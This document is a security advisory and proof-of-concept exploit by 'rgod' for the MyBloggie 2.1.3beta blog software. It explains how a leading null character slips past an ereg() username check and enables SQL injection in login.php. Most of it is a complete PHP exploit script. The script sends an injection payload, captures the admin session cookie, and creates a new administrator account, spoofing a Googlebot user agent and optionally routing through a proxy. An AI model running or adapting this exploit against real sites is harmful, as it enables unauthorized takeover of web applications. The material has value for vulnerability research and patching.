MyBloggie 2.1.3beta null char + SQL Injection -> Login Bypass

software:
site: http://www.mywebland.com/

vulnerability: if magic quotes off -> SQL INJECTION
look carefully this code in login.php, line 40-69


...
if (isset($_POST['username'])) {
$username=$_POST['username'];
} else $username="";


if (isset($_POST['passwd'])) {
$passwd = $_POST['passwd'];
} else  $passwd = "";

// Security precaution - sean 03 sep 2005
[!]if(ereg('[^A-Za-z0-9_]', $username)){
//redirecting the user if the username no alphanumeric to prevent
echo "<meta http-equiv=\"Refresh\" content=\"1;url=".self_url()."/oops.php\" />";
exit();
}

if( isset( $mode ) )
{
  if( $mode == "login" )
   {
              $username = trim( $username );
        $passwd = md5(trim( $passwd ));

         if( $username == "" ) message( $lang['Error'] , $lang['Msg_enter_name'] );
         if( $passwd == "" ) message($lang['Error'], $lang['Msg_enter_pass'] );
[!!]     $result = mysql_query( "SELECT user FROM ".USER_TBL." WHERE user='$username'
                  AND password='$passwd'" ) or error( mysql_error() );

[!!!]    if( mysql_num_rows( $result ) != 1 ) {
...


the ereg call should check if "username" string is alphanumeric or not, but...
what happen if it begins with a null char? eheheheh
this a PHP bug, so I should write another advisory about this function...
you bypass the check...!

poc, run this with you interpreter...
<?php

if(ereg('[^A-Za-z0-9_]',"  '  " )) {echo "[1] hacking attempt!<br>";} #this works
if(ereg('[^A-Za-z0-9_]',chr(0x00)."  '  " )) {echo "[2] hacking attempt!<br>";} #this not

?>

now you can inject an "always true statement" in login query and bypass the
third check, poc:

as username:             [null char]'or'a'='a' LIMIT 1 /*
as password:             [nothing]


if you cannot try it manually, this is my proof of concept exploit, it adds a
new administrative account, it works both against Unix and Windows servers, I
don't know if this ereg "null char" issue is documented...:



<?php
#   7.36 30/09/2005                                                            #
#                                                                              #
#   ---mybloggie_213_xpl.php                                                   #
#                                                                              #
#   myBloggie 2.1.3beta  null char + SQL Injection -> login bypass             #
#                                                                              #
#   let's setup a new admin account right now!                                 #
#                                                                              #
#                                                                              #
#                                                                              #
#                                 by rgod                                      #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   make these changes in php.ini if you have troubles                         #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: customize for your own pleasure, launch this script from Apache,    #
#   fill requested fields, then go!                                            #
#                                                                              #
#   From WikiPedia:"James "Jamie" Madrox, formerly known as Multiple Man, is a #
#   fictional character, a mutant superhero in the Marvel Universe and a former#
#   member of X-Factor. He first appeared in Giant-Size Fantastic Four #4."    #
#   you know? This was my favourite one... Hey, but... wasn't he dead?         #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<head><title> myBloggie 2.1.3beta  null char /  SQL Injection </title><meta
http-equiv="Content-Type"  content="text/html; charset=iso-8859-1"> <style type=
"text/css"> <!-- body,td,th {color:  #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:  bold;
font-style: italic; } --> </style></head> <body> <p class="Stile6">    myBloggie
2.1.3 beta (possibly prior versions) null char / SQL Injection</p><p class="Stil
e6">a script by rgod at <a href="http://rgod.altervista.org"    target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post"  action="'.$SERVER[PHP_SELF].'?path=value&host=value&
port=value&user=value&pazz=value&proxy=value"><p><input type="text" name="host">
<span class="Stile5">hostname (ex:  www.sitename.com ) </span> </p> <p>  <input
type="text" name="path"><span class="Stile5">path ( ex: /mybloggie/ or just / )
</span></p><p><input type="text" name="port"><span class="Stile5">specify a port
 other than 80 (default) </span> </p><p><input type="text" name="username"><span
class="Stile5">new admin username...   </span> </p> <p>       <input type="text"
name="password"><span class="Stile5">password for new admin account...</span>
</p><p><input type="text" name="proxy"><span class="Stile5">send exploit through
an HTTP proxy (ip:port)  </span> </p>  <p>     <input type="submit"name="Submit"
value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
    }
echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
    if (!eregi($proxy_regex,$proxy))
    {echo htmlentities($proxy).' -> not a valid proxy...';
     die;
    }
   $parts=explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) { echo 'No response from proxy...';
die;
       }
   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

if (($path<>'') and ($host<>'') and ($username<>'') and ($password<>''))
{

$user=str_replace(chr(0x00),"",$user); # <- this is a suggestion for the patch... ;)
if(ereg('[^A-Za-z0-9_]', $user)) { echo "<br>only alphanumeric chars in username please...<br>"; die;}

  if ($port=='') {$port=80;}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}


$sql=urlencode(chr(0x00)."'or'SUNTZU'='SUNTZU' LIMIT 1/*"); //beautiful query, isn't it? ;)
$data="username=".$sql."&passwd=nothing&submit=Log+In";
$packet="POST ".$p."login.php?mode=login HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.':'.$port.$path."login.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
show($packet);
sendpacket($packet);
if (eregi("Location: ./admin.php",$html)) {echo '<br>Exploit succeded -> now set a new administrative account...<br>';}
    else  {echo '<br>Exploit failed...<br>'; die;}
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0]."path=/";
echo'<br>cookie: -> '.htmlentities($cookie).'<br><br>';

$data="user=".urlencode($username)."&password=".urlencode($password)."&repassword=".urlencode($password)."&level=1&submit=Submit";
$packet="POST ".$p."admin.php?mode=adduser HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.':'.$port.$path."admin.php?mode=adduser\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Opera/8.50 (Windows NT 5.1; U; en)\r\n";
$packet.="Host: ".$host."r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
show($packet);
sendpacket($packet);
echo '<br>Now login as admin, user: '.htmlentities($username).' pass: '.htmlentities($password);
}
else
{ echo '<br>Fill requested fields, optionally specify a proxy...<br><br>';}
?>

rgod
site: http://rgod.altervista.org
mail: retrogod@aliceposta.it
original advisory: http://rgod.altervista.org/mybloggie213b.html